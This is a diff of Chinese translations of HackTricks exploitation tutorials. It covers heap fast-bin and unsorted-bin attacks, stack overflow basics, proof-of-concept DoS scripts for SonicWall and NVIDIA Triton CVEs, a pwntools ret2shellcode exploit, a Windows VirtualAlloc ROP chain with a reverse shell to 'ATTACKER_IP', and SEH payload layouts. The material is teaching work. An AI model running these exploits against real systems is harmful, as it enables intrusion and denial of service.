然后,可以用索引 2use after free 指针)调用 edit function 并将 `bk` 指针覆盖成指向 `p64(global_max_fast-0x10)`。随后创建新 chunk 时会使用之前被妥协的 free 地址0x20这将**触发 unsorted bin attack**,覆盖 `global_max_fast` 为一个很大的值,从而允许在 fast bins 中创建 chunks。
- 之后执行一个 **fast bin attack**
- 首先发现可以在 **`__free_hook`** 位置处理大小为 200 的 fast **chunks**
<pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
@ -112,16 +115,19 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
如果能在该位置获得一个大小为 0x200 的 fast chunk就可以覆盖一个将被执行的函数指针。
为此,创建一个大小为 `0xfc` 的新 chunk并对该指针调用 merge 两次,这样就得到一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 放入 fast bin。然后对该 chunk 调用 edit将该 fast bin 的 `fd` 指向先前的 `__free_hook`。随后分配一个大小为 `0x1f8` 的 chunk 从 fast bin 取回之前的 useless chunk再分配另一个 `0x1f8` 的 chunk 以在 `__free_hook` 位置得到一个 fast bin chunk并将其覆盖为 `system` 的地址。最后创建包含字符串 `/bin/sh\x00` 的 chunk 并释放(调用 delete触发 `__free_hook`(现在指向 system`/bin/sh\x00` 作为参数执行。
- 如果我们设法在该位置获得一个大小为 0x200 的 fast chunk就可以覆盖一个将被执行的函数指针。
- 为此,创建一个大小为 `0xfc` 的新 chunk并对该指针调用 merge 函数两次,这样可以在 fast bin 中得到一个指向已 free 的、大小为 `0xfc*2 = 0x1f8` 的指针。
- 然后对该 chunk 调用 edit function将该 fast bin 的 **`fd`** 地址修改为指向先前的 **`__free_hook`**。
- 随后,创建一个大小为 `0x1f8` 的 chunk 从 fast bin 中取出之前的废弃 chunk然后再创建另一个大小为 `0x1f8` 的 chunk以在 **`__free_hook`** 处得到一个 fast bin chunk并用 **`system`** 的地址覆盖它。
- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk调用 delete 函数),触发指向 system 的 **`__free_hook`**,并以 `/bin/sh\x00` 作为参数执行。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
另一个示例:滥用 1B overflow 将 chunks 合并到 unsorted bin从而获得 libc infoleak接着进行 fast bin attack 覆盖 malloc hook 为 one gadget 地址。
另一个例子,滥用 1 字节 overflow 在 unsorted bin 中合并 chunks 以获取 libc infoleak然后执行 fast bin attack 覆盖 malloc hook 为 one gadget 地址
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
只能分配大于 `0x100` 的 chunks。
使用 Unsorted Bin attack 覆盖 `global_max_fast`(由于 ASLR需要修改 12 位但实际必须修改 16 位,成功率约为 1/16)。
使用 Fast Bin attack 修改一个全局的 chunk 数组,从而得到任意读写原语,允许修改 GOT 并把某个函数指向 `system`
- 只能分配大于 `0x100` 的 chunks。
- 使用 Unsorted Bin attack 覆盖 `global_max_fast`(由于 ASLR仅有 1/16 成功率,因为需要修改 12 位但必须修改 16 位)。
- Fast Bin attack 修改全局 chunks 数组。这提供了任意读写原语,从而可以修改 GOT 并将某个函数指向 `system`
## References
## 参考资料
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow
## 什么是 Stack Overflow
A **stack overflow** 是一种漏洞,当程序向栈中写入的数据超过为其分配的空间时发生。多余的数据会 **覆盖相邻的内存空间**,导致合法数据损坏、控制流中断,并可能执行恶意代码。该问题通常由于使用不对输入进行边界检查的不安全函数引起
A **stack overflow** 是一种漏洞,当程序向 stack 写入的数据超过为其分配的大小时就会发生。 这些多余的数据将 **覆盖相邻的内存空间**,导致有效数据损坏、控制流被破坏,并可能执行恶意代码。该问题通常由于使用不做输入边界检查的不安全函数而产生
此次覆盖的主要问题在于保存返回到上一个函数的 **saved instruction pointer (EIP/RIP)****saved base pointer (EBP/RBP)****存储在栈上** 的。因此,攻击者可以覆盖它们并 **控制程序的执行流**
这种覆盖的主要问题在于**保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)**(用于返回到先前的函数)是**存储在 stack 上的**。因此,攻击者可以覆盖它们并**控制程序的执行流**
该漏洞通常发生在函数 **将比为其分配的更多字节复制到栈内** 时,从而能够覆盖栈的其他部分。
该漏洞通常是因为函数**在 stack 内复制的字节数超过为其分配的数量**,从而能够覆盖 stack 的其他部分。
一些常见的易受影响的函数包括: **`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像 **`fgets`**、**`read`** 和 **`memcpy`** 这类带有 **长度参数** 的函数,如果指定的长度大于分配的长度,也可能以易受攻击的方式被使用。
一些常见易受影响的函数有:**`strcpy`, `strcat`, `sprintf`, `gets`**…… 同时,像 **`fgets`**, **`read` & `memcpy`** 这样的带有**长度参数**的函数,如果指定的长度大于分配的大小,也可能被以不安全的方式使用。
For example, the following functions could be vulnerable:
```c
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### 查找 Stack Overflows 偏移
### 查找 Stack Overflows 偏移
找到 stack overflows 最常见的方法是提供大量的 `A` 输入(例如 `python3 -c 'print("A"*1000)'`),并期待出现 `Segmentation Fault`表示**尝试访问地址 `0x41414141`**。
最常见的方法是提供大量的 `A`(例如 `python3 -c 'print("A"*1000)'`作为输入,并期待出现 `Segmentation Fault`这表明**地址 `0x41414141` 被尝试访问**。
此外,一旦发现存在 Stack Overflow 漏洞,就需要找到能够**覆盖返回地址**的偏移量;为此通常使用 **De Bruijn sequence。** 对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列De Bruijn sequence 是一个**循环序列,其中每一种可能的长度为 _n_ 的子序列恰好以连续子序列的形式出现一次**。
此外,一旦发现存在 Stack Overflow 漏洞,你需要找出能够**overwrite the return address**的偏移量;通常会使用**De Bruijn sequence**。对于给定字母表大小 _k_ 和子序列长度 _n_,它是一种**循环序列,其中每一个可能的长度为 _n_ 的子序列恰好作为一个连续子序列出现一次**。
这样,与其手动找出控制 EIP 所需的偏移,不如用这些序列之一作为填充,然后找到导致覆盖它的字节的偏移
这样,与其手动确定控制 EIP 所需的偏移量,不如使用这些序列之一作为 padding然后找到最终覆盖它的字节的偏移量
可以使用 **pwntools** 来完成这一步:
```python
@ -41,23 +41,23 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
**GEF**:
**GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## 利用栈溢出
## 利用 Stack Overflows
在发生溢出时(假设溢出大小足够大),你将能够**覆盖**栈内局部变量的值,直到达到保存的**EBP/RBP and EIP/RIP (or even more)**。\
滥用此类漏洞最常见的方法是通过**修改返回地址**,这样当函数结束时,**控制流将被重定向到用户在该指针中指定的位置**。
During an overflow (supposing the overflow size if big enough) you will be able to **覆盖** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
然而,在其他场景下,仅仅**覆盖栈中某些变量的值**可能就足以进行利用(例如在简单的 CTF 题目中)。
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
### Ret2win
在这类 CTF 题目中,二进制内有一个**函数**是**从未被调用**的,而你需要调用它才能获胜。对于这些题目,你只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 会被禁用),这样当易受攻击的函数返回时,隐藏的函数就会被调用:
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
{{#ref}}
@ -66,7 +66,7 @@ ret2win/
### Stack Shellcode
在这种情形下,攻击者可以将 shellcode 放到栈上,并利用受控的 EIP/RIP 跳转到该 shellcode 并执行任意代码:
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
{{#ref}}
@ -75,7 +75,7 @@ stack-shellcode/
### Windows SEH-based exploitation (nSEH/SEH)
在 32 位 Windows 上,溢出可能会覆盖 Structured Exception Handler (SEH) 链而不是保存的返回地址。利用通常会将 SEH 指针替换为一个 POP POP RET gadget并使用 4 字节的 nSEH 字段做一个短跳转,回到包含 shellcode 的大缓冲区。一个常见模式是在 nSEH 中放一个短跳short jmp它落到位于 nSEH 之前的一个 5 字节 near jmp 上,从而向后跳几百字节到有效负载起始处。
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
{{#ref}}
@ -84,25 +84,25 @@ windows-seh-overflow.md
### ROP & Ret2... techniques
该技术是绕过前述技术的主要保护(即**No executable stack (NX)**的基础框架。它还允许执行其他多种技术ret2lib, ret2syscall...),通过滥用二进制中已有的指令来最终执行任意命令:
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## 堆溢出
## Heap Overflows
溢出不一定发生在栈上,例如也可能发生在**堆**
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
## 保护类型
## Types of protections
有多种保护机制试图阻止漏洞被利用,可以在以下位置查看:
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
{{#ref}}
@ -111,33 +111,34 @@ windows-seh-overflow.md
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
在 2025 年SonicWall 的 SMA100 SSL-VPN 设备中出现了一个很好的示例,证明为什么**`sscanf` should never be trusted for parsing untrusted input**。位于 `/usr/src/EasyAccess/bin/httpd` 内的易受攻击例程尝试从以 `/__api__/` 开头的任何 URI 中提取版本和端点:
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWalls SMA100 SSL-VPN appliance.
The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. 第一个转换 (`%2s`) 将 **两个** 字节安全地存储到 `version`(例如 `"v1"`)。
2. 第二个转换 (`%s`) **没有长度说明符**,因此 `sscanf` 将继续复制 **直到第一个 NUL byte**
3. 因为 `endpoint` 位于 **stack** 并且 **0x800 bytes long**,提供一个超过 0x800 bytes 的路径会破坏缓冲区之后的所有内容 包括 **stack canary****saved return address**
1. 第一项转换 (`%2s`) 将**两个**字节安全地存储到 `version`(例如 `"v1"`)。
2. 第二项转换 (`%s`) **没有长度说明符**,因此 `sscanf` 会持续复制 **直到第一个 NUL byte**
3. 由于 `endpoint` 位于 **stack** 上且是 **0x800 bytes long**,提供一个长于 0x800 字节的路径会破坏缓冲区之后的所有内容 包括 **stack canary****saved return address**
单行 PoC 就足以在**authentication**之前触发崩溃:
一行 proof-of-concept 就足以在 **before authentication** 触发崩溃:
```python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
尽管 stack canaries 会中止进程,攻击者仍然可以获得一个 **Denial-of-Service** 原语(并且在额外的信息 leaks 情况下,可能实现 code-execution。教训很简单
即使 stack canaries 会使进程中止,攻击者仍然能获得一个 **Denial-of-Service** 基本能力(并且,借助额外的信息 leaks,可能实现 code-execution。教训很简单
* 始终提供一个 **最大字段宽度**(例如 `%511s`)。
* 始终为字段提供一个 **maximum field width**(例如 `%511s`)。
* 优先使用更安全的替代函数,例如 `snprintf`/`strncpy_s`
### 真实案例CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIAs Triton Inference Server (≤ v25.06) 包含多个可通过其 HTTP API 到达的 **stack-based overflows**
受影响的模式在 `http_server.cc``sagemaker_server.cc` 中反复出现:
NVIDIAs Triton Inference Server (≤ v25.06) 在其 HTTP API 中包含多个可触达的 **stack-based overflows**
该易受攻击的模式在 `http_server.cc``sagemaker_server.cc` 中反复出现:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
@ -147,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) 返回构成当前 HTTP 请求体的**内部缓冲段数量**。
2. 每个段通过 `alloca()` 在**stack**上分配一个**16-byte**的 `evbuffer_iovec` —— **没有任何上限**
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以将请求强制分割成**数十万个 6-byte chunk**`"1\r\nA\r\n"`)。这会使 `n` 无限增长,直到 stack 耗尽。
1. `evbuffer_peek` (libevent) 返回组成当前 HTTP 请求正文的内部缓冲区段的**数量**。
2. 每个段会导致一个**16-byte**的 `evbuffer_iovec` 被通过 `alloca()` 在**stack**上分配——**没有任何上限**
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以强制将请求拆分为**数十万个 6-byte chunks**`"1\r\nA\r\n"`)。这会使 `n` 无限增长,直到 stack 耗尽。
#### 概念验证 (DoS)
```python
@ -175,10 +176,10 @@ s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
~3 MB 的请求足以覆盖保存的返回地址并在默认构建下使守护进程 **崩溃**
在默认构建下,约 3 MB 的请求足以覆盖保存的返回地址并 **crash** 守护进程
#### 补丁与缓解
25.07 版本将不安全的栈上分配替换为 **基于堆的 `std::vector`**,并优雅地处理 `std::bad_alloc`
25.07 版本将不安全的栈分配替换为基于堆的 **`std::vector`**,并优雅地处理 `std::bad_alloc`:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
struct evbuffer_iovec *v = v_vec.data();
```
经验教训:
* 永远不要在攻击者可控的大小下调用 `alloca()`
* Chunked requests 可能会大幅改变服务器端缓冲区的形状
* 在将从客户端输入派生的任何值用于内存分配 *之前*验证/限制该值。
* 永远不要用攻击者可控的大小调用 `alloca()`
* Chunked requests 可能会彻底改变服务器端缓冲区的形态
* 在将从客户端输入派生的任何值用于内存分配 *之前*先验证并限制该值。
## 参考资料
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)

View File

@ -4,7 +4,7 @@
## 基本信息
**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 **Instruction Pointer (IP)****Extended Instruction Pointer (EIP)**,使其指向该 shellcode 的位置,从而导致其执行。这是一种经典方法,用于在目标系统上获取未授权访问或执行任意命令。下面分解该过程,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的 exploit。
**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 **Instruction Pointer (IP)****Extended Instruction Pointer (EIP)** 指向该 shellcode 的位置,从而使其被执行。这是一种经典的方法,用来在目标系统上获取未授权访问或执行任意命令。下面是该过程的分解,包括一个简单的 C 示例,以及如何使用 Python 和 **pwntools** 编写相应的 exploit。
### C 示例:一个易受攻击的程序
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
该程序因为使用 `gets()` 函数而容易受到缓冲区溢出攻击
该程序由于使用了 `gets()` 函数而存在 buffer overflow 漏洞
### 编译
### Compilation
要在禁用各种护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令:
要在禁用各种护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: 禁用栈保护。
- `-z execstack`: 使栈可执行,这对于执行存放在栈上的 shellcode 是必要的。
- `-no-pie`: 禁用 Position Independent Executable使我们更容易预测 shellcode 将所在的内存地址。
- `-m32`: 将程序编译为 32 位可执行文件,常用于简化 exploit 开发。
- `-z execstack`: 使栈可执行,这对于执行存储在栈上的 shellcode 是必需的。
- `-no-pie`: 禁用 Position Independent Executable使我们更容易预测 shellcode 的内存地址。
- `-m32`: 将程序编译为 32 位可执行文件,常在漏洞利用开发中为简化起见使用
### 使用 Pwntools 的 Python Exploit
### Python Exploit using Pwntools
下面是如何使用 **pwntools** 在 Python 中编写 exploit 以执行 **ret2shellcode** 攻击:
下面展示了如何使用 **pwntools** 在 Python 中编写 exploit以执行 **ret2shellcode** 攻击:
```python
from pwn import *
@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
该脚本构造了一个 payload包含 **NOP slide**、**shellcode**,然后将 **EIP** 覆盖为指向 NOP slide 的地址,以确保 shellcode 被执行。
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOP slide** (`asm('nop')`) 用来增加执行“滑入”我们 shellcode 的几率,而不依赖精确地址。调整 `p32()` 的参数为你的缓冲区起始地址加上一个偏移,以落在 NOP slide 上。
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Windows x64: 绕过 NX使用 VirtualAlloc ROP (ret2stack shellcode)
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
在现代 Windows 上stack 是 non-executableDEP/NX。在发生 stack BOF 后仍想执行驻留在栈上的 shellcode 的常用方法是构建一个 64-bit ROP chain从模块的 Import Address Table (IAT) 调用 VirtualAlloc或 VirtualProtect使栈上的某个区域变为可执行然后返回到紧随该链之后的 shellcode。
在现代 Windows 上stack 是不可执行的DEP/NX。常见的方法是在栈 BOF 后构建一个 64 位 ROP 链,从模块的 Import Address Table (IAT) 调用 VirtualAlloc或 VirtualProtect将栈的一段区域设为可执行然后返回到紧跟在链后面的 shellcode。
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → 选择当前栈中的一个地址(例如 RSP这样新分配的 RWX 区域会与你的 payload 重叠
- RDX = dwSize → 足够容纳你的 chain + shellcode例如 0x1000
- RCX = lpAddress → 选择当前 stack 中的一个地址(例如 RSP以便新分配的 RWX 区域与 payload 重叠
- RDX = dwSize → 大小要足够容纳你的 chain + shellcode例如 0x1000
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base(例如通过 format-string、object pointer 等)以便在 ASLR 下计算出绝对 gadget 和 IAT 地址。
2) 找到用于加载 RCX/RDX/R8/R9 的 gadgetspop 或 mov/xor 类序列)以及可 call/jmp [VirtualAlloc@IAT] 的 gadget。如果没有直接的 pop r8/r9使用算术 gadgets 来合成常量(例如,将 r8 设为 0然后重复将 r9 加 0x40 四十次以达到 0x1000
3) 将 stage-2 shellcode 放置在链之后紧接的位置。
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
Example layout (conceptual):
```
@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
在受限的 gadget 集合下,你可以间接构造寄存器的值,例如:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 将 r9 设为 rbx 的值,将 r8 清零,并用一个垃圾 qword 补偿栈。
- xor rbx, rsp; ret → 用当前的栈指针为 rbx 赋值
- push rbx; pop rax; mov rcx, rax; ret → 将来源于 RSP 的值移动到 RCX。
在受限的 gadget set 下,你可以间接构造寄存器值,例如:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 从 rbx 设置 r9将 r8 置零,并用一个垃圾 qword 补偿栈。
- xor rbx, rsp; ret → 用当前栈指针初始化 rbx
- push rbx; pop rax; mov rcx, rax; ret → 将来 RSP 的值移动到 RCX。
Pwntools 示例(在已知基址和 gadgets 的情况下
Pwntools 示例(给定已知 base 和 gadgets
```python
from pwn import *
base = 0x7ff6693b0000
@ -133,29 +133,29 @@ rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
提示:
- VirtualProtect 的工作方式类似,如果更倾向于将现有缓冲区设为 RX;参数顺序不同。
- 如果 stack 空间不足,在别处分配 RWXRCX=NULL并 jmp 到该新区域,而不是重用 stack
- VirtualProtect 在将现有缓冲区设为 RX 时也类似;参数顺序不同。
- 如果栈空间紧张,可在其他地方分配 RWXRCX=NULL并 jmp 到该新区域,而不是重用栈
- 始终考虑会调整 RSP 的 gadgets例如 add rsp, 8; ret通过插入垃圾 qwords 来补偿。
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该被禁用**,以使地址在不同执行中可靠,否则函数将被存放的地址不会总是相同,你将需要一些 leak 来确定 win 函数加载在哪里
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应被禁用,否则被破坏的 EIP 返回地址将永远不会被执行。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保护会阻止在 stack 内的 shellcode 执行,因为该区域不会是可执行的。
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应被禁用**,否则地址在每次执行中可能不一致,或者函数将被存放的位置不会总是相同,你需要某种 leak 来定位 win 函数加载的位置
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应被禁用,否则被破坏的 EIP 返回地址将无法被执行。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈** 保护会阻止在栈内执行 shellcode,因为该区域不会是可执行的。
## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bitASLR,有 stack 地址 leak写入 shellcode 并 jump 到它
- 64bitASLR 配合栈地址 leak写入 shellcode 并跳转过去
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bitASLRstack leak写入 shellcode 并 jump 到它
- 32 bitASLR 配合 stack leak写入 shellcode 并跳转过去
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bitASLRstack leak通过比较防止调用 exit(),覆盖变量为某值并写入 shellcode 并 jump 到它
- 32 bitASLR 配合 stack leak使用比较来防止调用 exit(),覆盖变量为某值,写入 shellcode 并跳转过去
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64无 ASLR使用 ROP gadget 使 stack 可执行并 jump 到 stack 中的 shellcode
- arm64无 ASLR使用 ROP gadget 使栈可执行并跳转到栈中的 shellcode
## References
## 参考
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

View File

@ -1,24 +1,24 @@
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
# Windows 基于 SEH 的堆栈溢出利用 (nSEH/SEH)
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation 是一种经典的 x86 Windows 技术,利用存储在栈上的 Structured Exception Handler 链。当一个 stack buffer overflow 覆盖了两个 4 字节字段时:
SEH-based exploitation 是一种经典的 x86 Windows 技术,滥用存储在栈上的结构化异常处理程序链 (Structured Exception Handler chain)。当一次栈缓冲区溢出覆盖了两个 4 字节字段时:
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
- nSEH: 指向下一个 SEH 记录的指针,和
- SEH: 指向异常处理函数的指针
攻击者可以通过以下方式取得执行控制
攻击者可以通过以下方式接管执行流程
1) 将 SEH 设置为非受保护模块中一个 POP POP RET gadget 的地址这样当异常被分派时gadget 会返回到攻击者可控的字节处;以及
2) 使用 nSEH 重定向执行(通常是一个 short jump)回到包含 shellcode 的大溢出缓冲区中。
1) 将 SEH 设置为位于非受保护模块中的一个 POP POP RET gadget 的地址,这样在异常分发时该 gadget 会返回到攻击者可控的字节,和
2) 使用 nSEH 重定向执行(通常是一个短跳)回到包含 shellcode 的大溢出缓冲区中。
该技术仅适用于 32-bit processes (x86)。在现代系统上,优先选择没有 SafeSEH 和 ASLR 的模块作为 gadget 所在模块。常见的坏字符通常包括 0x00、0x0a、0x0d (NUL/CR/LF),这是由于 C-strings 和 HTTP 解析造成的
该技术特定于 32-bit 进程 (x86)。在现代系统上,优先选择没有 SafeSEH 和 ASLR 的模块来寻找 gadget。由于 C-strings 和 HTTP 解析,常见的坏字符通常包括 0x00, 0x0a, 0x0d (NUL/CR/LF)
---
## Finding exact offsets (nSEH / SEH)
- 使进程崩溃并确认 SEH 链已被覆盖(例如,在 x32dbg/x64dbg 中检查 SEH 视图)。
- 令进程崩溃并验证 SEH 链是否被覆盖(例如在 x32dbg/x64dbg 中,检查 SEH 视图)。
- 发送一个 cyclic pattern 作为溢出数据,并计算落在 nSEH 和 SEH 的两个 dwords 的偏移量。
Example with peda/GEF/pwntools on a 1000-byte POST body:
@ -37,22 +37,22 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
---
## 选择 POP POP RET (SEH gadget)
## Choosing a POP POP RET (SEH gadget)
你需要一个 POP POP RET 序列来解开 SEH 帧并返回到你的 nSEH 字节。 在没有 SafeSEH 的模块中查找,最好也没有 ASLR
你需要一个 POP POP RET 序列来展开 SEH 框架并返回到你的 nSEH 字节。把它找在没有 SafeSEH 的模块中,最好也没有 ASLR
- Mona (Immunity/WinDbg): `!mona modules` 然后 `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` 用于列出 POP POP RET gadgets 和 SafeSEH 状态。
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
选择一个在以 little-endian 写入时不包含 badchars 的地址(例如,`p32(0x004094D8)`)。如果防护允许,优先选择位于易受攻击二进制文件内的 gadget
选择一个在以 little-endian 写入时不包含 badchars 的地址(例如,`p32(0x004094D8)`)。如果保护允许,优先选择位于 vulnerable binary 内的 gadgets
---
## Jump-back technique (short + near jmp)
nSEH 只有 4 字节,最多能放一个 2 字节的 short jump`EB xx`)加上填充。如果你必须向后跳几百字节以到达缓冲区起始位置,可以在 nSEH 之前放置一个 5 字节的 near jump然后从 nSEH 用 short jump 链接到它。
nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
使用 nasmshell:
With nasmshell:
```text
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
@ -61,7 +61,7 @@ EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
1000-byte payload 且 nSEH 在 offset 660 的布局思路:
针对 1000-byte payload 且 nSEH 在 offset 660 的布局思路:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
